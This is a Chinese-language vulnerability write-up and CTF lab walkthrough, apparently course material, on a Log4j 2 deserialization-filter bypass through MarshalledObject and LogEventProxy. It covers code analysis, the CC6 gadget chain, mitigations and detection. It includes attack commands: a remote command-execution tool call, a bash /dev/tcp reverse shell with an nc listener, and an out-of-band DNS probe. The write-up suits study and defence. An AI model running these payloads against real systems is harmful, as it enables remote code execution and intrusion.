Log4j 2.x 为"通过网络传输序列化日志事件"这一场景提供了加固组件FilteredObjectInputStream(下文简称 FOIS)。它是一个基于resolveClass() 的反序列化白名单包装器:流中出现的每个类描述符都必须命中白名单,否则直接抛出InvalidObjectException。官方示例(log4j-samples 的 ObjectInputStreamLogEventBridge)以及大量自研日志采集/转发服务,都用 FOIS 读取反序列化的 LogEvent。
2026 年 8 月,研究者发现 FOIS 的默认白名单存在结构性缺陷:白名单包含java.rmi.MarshalledObject,而该类的 get() 方法会在一个全新且不带任何过滤器的 ObjectInputStream 上反序列化其内部字节;与此同时,Log4j 自己的LogEventProxy(日志事件的序列化代理)在反序列化时自动调用这个 get()。三者叠加的结果是:攻击者只需向这类接收端发送一个精心构造的序列化LogEvent,就能在目标 JVM 内执行任意命令(前提是目标 classpath 上存在可用的 gadget 库)。
该问题目前没有 CVE 编号。Apache 侧将其定位为"应用条件型"缺陷:FOIS 被文档化为加固措施而非信任边界,Log4j Core 在 2.9.0 之后也不再自带反序列化接收器,因此漏洞面取决于应用是否暴露了 FOIS 接收端点(issue #4255)。它和著名的 Log4Shell(CVE-2021-44228)是两回事:Log4Shell 通过"记录一条日志字符串"触发 JNDI 查询;本漏洞需要把原始 Java 序列化字节直接投递给FOIS 接收端,且必须存在 gadget 库才能提升为 RCE。
FOIS 继承 ObjectInputStream,仅重写 resolveClass()。流中每个类描述符都要过一遍默认白名单 SerializationUtil.REQUIRED_JAVA_CLASSES:log4j自身包、java.lang.*、java.util.*、java.math.BigDecimal/BigInteger,以及问题点 java.rmi.MarshalledObject。
// log4j-api 2.24.3, SerializationUtil
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // ← 问题点
...);
// FilteredObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}关键局限:resolveClass() 只能看到流里出现的类描述符。如果一个类把内容藏在"不透明字节数组"里,过滤就对它内部完全失效。
java.rmi.MarshalledObject 的用途是把对象序列化后以不透明字节存储(RMI 传输场景)。它有 hash、locBytes、objBytes 三个字段,其中objBytes 就是一段完整的序列化流。FOIS 只能看到类名 MarshalledObject和 byte[] 字段描述符,objBytes 里是什么类一概看不见。而 get() 的实现是:
public T get() throws ... {
...
ObjectInputStream ois = new ObjectInputStream(bi); // 全新流,无过滤器
return (T) ois.readObject();
}也就是说:任何塞进 objBytes 的对象图,都会在一个完全无过滤的流里被反序列化。
Log4j 2.8 起,LogEvent 序列化时通过 writeReplace() 变为Log4jLogEvent$LogEventProxy,其 marshalledMessage 字段正是一个MarshalledObject<Message>。反序列化时:
// Log4jLogEvent$LogEventProxy
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // 无过滤反序列化
} catch (final Exception ex) {
// ignore me —— 吞掉一切异常
}
}
return new SimpleMessage(messageString);
}readResolve() 会调用 message()。因此接收端只需要执行FOIS.readObject() 一个动作,内层 gadget 就会被 Log4j 自己的代码自动触发;即使内层反序列化抛出异常,也会被吞掉并回退到 SimpleMessage——利用是"静默"的,接收端日志照常、业务响应照常。
攻击者负载(AC ED 00 05 ...)
└─ LogEventProxy FOIS 放行(log4j 包)
└─ MarshalledObject FOIS 放行(白名单类)
└─ objBytes: byte[] FOIS 放行(原语数组,内容不透明)
└─ 任意 gadget(CC6 / URLDNS / 其他)
由 MarshalledObject.get() 在无过滤流中反序列化
HashSet.readObject
└─ TiedMapEntry.hashCode
└─ LazyMap.get
└─ ChainedTransformer
└─ InvokerTransformer
└─ Runtime.exec(cmd)利用是否成立取决于两层:一是绕过本身(与 log4j 版本强相关),二是内层gadget(与 classpath 上的库强相关)。两者相互独立。
以下复现使用的 LogRelay 靶场(靶场地址见文末。logrelay-ctf):服务端为Log4j 2.24.3 + commons-collections 3.2.1 的 JDK 21 容器,暴露 TCP 5514采集端口与 HTTP 8081 状态端口;攻击端为纯 Python 手写 Java 序列化字节,无 JVM、无 ysoserial 依赖。
采集端口使用自定义分帧协议 LG01:
4 字节魔数 "LG01" | 1 字节版本 0x01 | 4 字节大端长度 N | N 字节负载负载 = 一个 Java 序列化对象流。服务端每收到一帧,就用 FOIS 读取并尝试还原为 LogEvent。GET /health 返回frames/accepted/rejected 计数,是观察"静默成功"的窗口。
URLDNS 是纯 JDK 链(HashMap → java.net.URL),目标不需要任何 gadget 库。把它塞进信封发送后,反序列化会触发一次对攻击者可控域名的 DNS 查询,用OOB/DNSLog 平台(dnslog.cn 或 interactsh)即可确认"内层流确实无过滤":
python3 tools/logrelay.py detect -t 127.0.0.1 -p 5514 --oob YOUR-ID.oast.proCC6 链(CommonsCollections6)需要目标 classpath 上有 commons-collections3.2.1 及更早版本。构造要点有三:
外层信封固定为 LogEventProxy → MarshalledObject → objBytes,内层塞入CC6 的序列化字节;
链的触发点在 HashSet.readObject():TiedMapEntry.hashCode() →LazyMap.get() → ChainedTransformer → 三个 InvokerTransformer 反射调用 Runtime.getRuntime().exec(cmd);
字节级细节(本地用 JDK 生成参考流逐一核对过):invoke 的第二个参数类型必须是 Object[].class 而非 Class[].class;exec 的 iArgs必须是"包了一层 String[] 的 Object[]"。
命令执行:
python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 -c "touch /tmp/PWNED"
反弹 shell(注意 Ubuntu 的 /bin/sh 是 dash,不识别 /dev/tcp 虚拟路径,必须用 bash -c 'bash -i >& /dev/tcp/H/P 0>&1' 让 bash 解析整段命令):
# 终端 1
nc -lvnp 4444
# 终端 2
python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 \
--lhost host.docker.internal --lport 4444
用 tools/proof.py 对同一靶机做三组对照(基于 /health 计数判定):

resolveClass白名单执行,绕过点是白名单看不见的信封内部。proof.py 还会解析并打印外层对象图里 FOIS 可见的类名,实测只有三个:org.apache.logging.log4j.core.impl.Log4jLogEvent$LogEventProxy
java.rmi.MarshalledObject
[B所有 gadget 类只存在于 objBytes 的内嵌序列化流中,外层解析根本不会经过它们——这就是 resolveClass 型白名单的盲区。
给服务端 JVM 加 -Djdk.serialFilter=!java.rmi.MarshalledObject 后,同一payload 全部变为 rejected(InvalidClassException: filter status:REJECTED)。该实验同时证明两点:MarshalledObject 处于攻击的必经路径上,且 FOIS 的过滤机制本身确实在生效。
把受害端 commons-collections 换成 3.2.2 再打 C3,预期 accepted 照旧但命令不执行(静默)——说明绕过与 gadget 版本无关,RCE 依赖的是 gadget 库。

gadget 依赖:commons-collections 3.2.1 及更早可被 CC6 利用;3.2.2 起 InvokerTransformer 增加反序列化保护(链静默失效)。其他未加固的gadget 库(Groovy、BeanShell、Spring 等)同样可以替代,因此"没有commons-collections"并不能作为安全依据。
JDK 版本:绕过与 JDK 版本无关,JDK 8 至 21 均验证可触发(gadget 链在较新 JDK 上需要 --add-opens 的只是ysoserial 本地生成环节,不影响目标侧执行)。
停止用 Java 序列化传输日志:改用 JSON / RFC 5424 布局 + TLS;
不对外暴露反序列化日志接收端;确需暴露时置于可信网络并加认证;
审计并移除不必要的 gadget 依赖(commons-collections 等);
上游修复方向:把 MarshalledObject 移出 REQUIRED_JAVA_CLASSES,并让LogEventProxy 改用 SerializationUtil.writeWrappedObject() /readWrappedObject()(ObjectMessage 已采用的正规模式,内层流同样走过滤)。
-Djdk.serialFilter='!java.rmi.MarshalledObject'可靠、可落地,但同时拒绝合法的序列化 LogEvent(Log4j 自己的传输也依赖MarshalledObject),属于"有效但不透明"的缓解。
maxdepth/maxbytes 通用过滤只能挡住深度较大的链(如 CC6),浅层 gadget和绕过本身依然成立;
仅升级 log4j 小版本无效:受影响区间内(2.11.0–2.26.1)默认白名单一致。
URLDNS + OOB DNS 探测:无需 gadget 库即可确认内层流是否无过滤;
对自建日志接收端观察"静默接受"信号(如本靶场的 accepted 计数、异常回退日志),与裸 gadget 对照组比对;
用 -Djdk.serialFilter 阻断实验验证修复是否生效。
apache/logging-log4j2#4255(https://github.com/apache/logging-log4j2/issues/4255)
apache/logging-log4j2 discussion #4168(https://github.com/apache/logging-log4j2/discussions/4168)
LogRelay CTF 靶场(https://github.com/yijinglab/log4j2-fois-rce)
本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动